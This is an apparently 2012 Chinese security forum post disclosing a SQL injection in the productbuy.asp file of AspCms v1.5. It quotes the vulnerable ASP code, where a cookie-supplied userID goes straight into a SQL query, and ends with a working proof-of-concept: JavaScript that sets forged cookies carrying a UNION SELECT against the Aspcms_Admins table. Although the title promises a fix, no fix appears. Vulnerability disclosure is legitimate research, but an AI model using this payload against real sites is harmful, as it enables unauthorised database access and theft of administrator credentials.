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标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin 时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

<%

if action = "buy" then

      addOrder()

else

      echoContent()

end if

……略过

Sub echoContent()

      dim id

      id=getForm("id","get")



      if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"



      dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

      dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

      Dim templatePath,tempStr

      templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

      set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

      selectproduct=rsObj(0)



      Dim linkman,gender,phone,mobile,email,qq,address,postcode

      if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

      if rCookie("loginstatus")=1 then

            set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

            linkman=rsObj("truename")

            gender=rsObj("gender")

            phone=rsObj("phone")

            mobile=rsObj("mobile")

            email=rsObj("email")

            qq=rsObj("qq")

            address=rsObj("address")

            postcode=rsObj("postcode")

      else

            gender=1

      end if

      rsObj.close()



      with templateObj

            .content=loadFile(templatePath)

            .parseHtml()

            .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

            .content=replaceStr(.content,"[aspcms:linkman]",linkman)

            .content=replaceStr(.content,"[aspcms:gender]",gender)

            .content=replaceStr(.content,"[aspcms:phone]",phone)

            .content=replaceStr(.content,"[aspcms:mobile]",mobile)

            .content=replaceStr(.content,"[aspcms:email]",email)

            .content=replaceStr(.content,"[aspcms:qq]",qq)

            .content=replaceStr(.content,"[aspcms:address]",address)

            .content=replaceStr(.content,"[aspcms:postcode]",postcode)

            .parseCommon()

            echo .content

      end with

      set templateobj =nothing : terminateAllObjects

End Sub
漏洞很明显，没啥好说的
poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子

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